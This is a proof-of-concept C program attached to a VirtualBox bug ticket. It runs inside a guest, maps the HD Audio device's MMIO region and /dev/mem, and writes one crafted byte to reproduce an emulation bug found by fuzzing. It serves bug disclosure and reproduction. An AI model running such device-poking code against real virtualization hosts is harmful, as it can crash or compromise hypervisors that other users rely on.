VirtualBox

Ticket #21474: userspace_program.c

File userspace_program.c, 3.1 KB (added by cyruscyliu, 20 months ago)

poc

Line 
1#include <assert.h>
2#include <fcntl.h>
3#include <inttypes.h>
4#include <stdio.h>
5#include <stdlib.h>
6#include <string.h>
7#include <sys/mman.h>
8#include <sys/types.h>
9#include <unistd.h>
10#include <sys/io.h>
11#include <time.h>
12
13uint8_t *mmio_mem;
14uint8_t *config_mem;
15uint8_t *devmem_mem;
16
17void die(const char *msg) {
18 perror(msg);
19 exit(-1);
20}
21
22void mmio_write(uint32_t addr, uint32_t value) {
23 *((uint32_t *)(mmio_mem + addr)) = value;
24}
25
26void mmio_writeb(uint32_t addr, uint8_t value) {
27 *((uint8_t *)(mmio_mem + addr)) = value;
28}
29
30uint32_t mmio_read(uint32_t addr) {
31 return *((uint32_t *)(mmio_mem + addr));
32}
33
34void config_write(uint32_t addr, uint32_t value) {
35 *((uint32_t *)(config_mem + addr)) = value;
36}
37
38uint32_t config_read(uint32_t addr) {
39 return *((uint32_t *)(config_mem + addr));
40}
41
42#define PAGE_SHIFT 12
43#define PAGE_SIZE (1 << PAGE_SHIFT)
44#define PFN_PRESENT (1ull << 63)
45#define PFN_PFN ((1ull << 55) - 1)
46int pagemap_fd;
47
48uint32_t page_offset(uint32_t addr) {
49 return addr & ((1 << PAGE_SHIFT) - 1);
50}
51
52uint64_t gva_to_gfn(void *addr) {
53 uint64_t pme, gfn;
54 uint64_t offset;
55 offset = ((uint64_t)addr >> 12) << 3;
56 lseek(pagemap_fd, offset, SEEK_SET);
57 read(pagemap_fd, &pme, 8);
58 if (!(pme & PFN_PRESENT))
59 return -1;
60 gfn = pme & PFN_PFN;
61 printf("[+] gva_to_gfn 0x%lx -> 0x%lx\n", pme, gfn);
62 return gfn;
63}
64
65uint64_t gva_to_gpa(void *addr) {
66 uint64_t gfn = gva_to_gfn(addr);
67 if (gfn == -1)
68 die("[-] Physical page not present.\n");
69 return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
70}
71
72void *calloc_256aligned(size_t size) {
73 void *ptr_virt = mmap(0, size + 256, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
74 if (ptr_virt == MAP_FAILED)
75 die("[-] Mmap 256aligned buffer failed.\n");
76 mlock(ptr_virt, size + 256);
77 uint64_t ptr_phys = gva_to_gpa(ptr_virt);
78 uint64_t __ptr_phys = (ptr_phys + 0xff) & (~(uint64_t)0xff);
79 return (void *)((uint64_t)ptr_virt + (__ptr_phys - ptr_phys));
80}
81
82int main(int argc, char **argv) {
83 printf("[+]\n[+] Reproduce hda-00: start\n[+]\n");
84
85 // lspci -v
86 int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
87 if (mmio_fd == -1)
88 die("[-] Open mmio_fd failed.\n");
89 printf("[+] Open mmio_fd successful.\n");
90 mmio_mem = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
91 if (mmio_mem == MAP_FAILED)
92 die("[-] Mmap mmio_mem failed.\n");
93 printf("[+] Mmap mmio_mem at %p.\n", mmio_mem);
94
95 pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
96 if (pagemap_fd < 0)
97 die("[-] Open pagemap failed.\n");
98 printf("[+] Open pagemap successful.\n");
99
100 int devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
101 devmem_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, 0);
102 if (devmem_mem == MAP_FAILED)
103 die("[-] Mmap devmem_mem failed.\n");
104 printf("[+] Mmap devmem_mem at %p.\n", devmem_mem);
105
106 iopl(3);
107
108 // 009, EVENT_TYPE_MMIO_WRITE, 0xf0406146, 0x1, 0x5bd062c2
109 mmio_writeb(0x2146, 0xc2);
110
111 printf("[+]\n[+] Reproduce hda-00: fail\n[+]\n");
112
113 return 0;
114}

© 2024 Oracle Support Privacy / Do Not Sell My Info Terms of Use Trademark Policy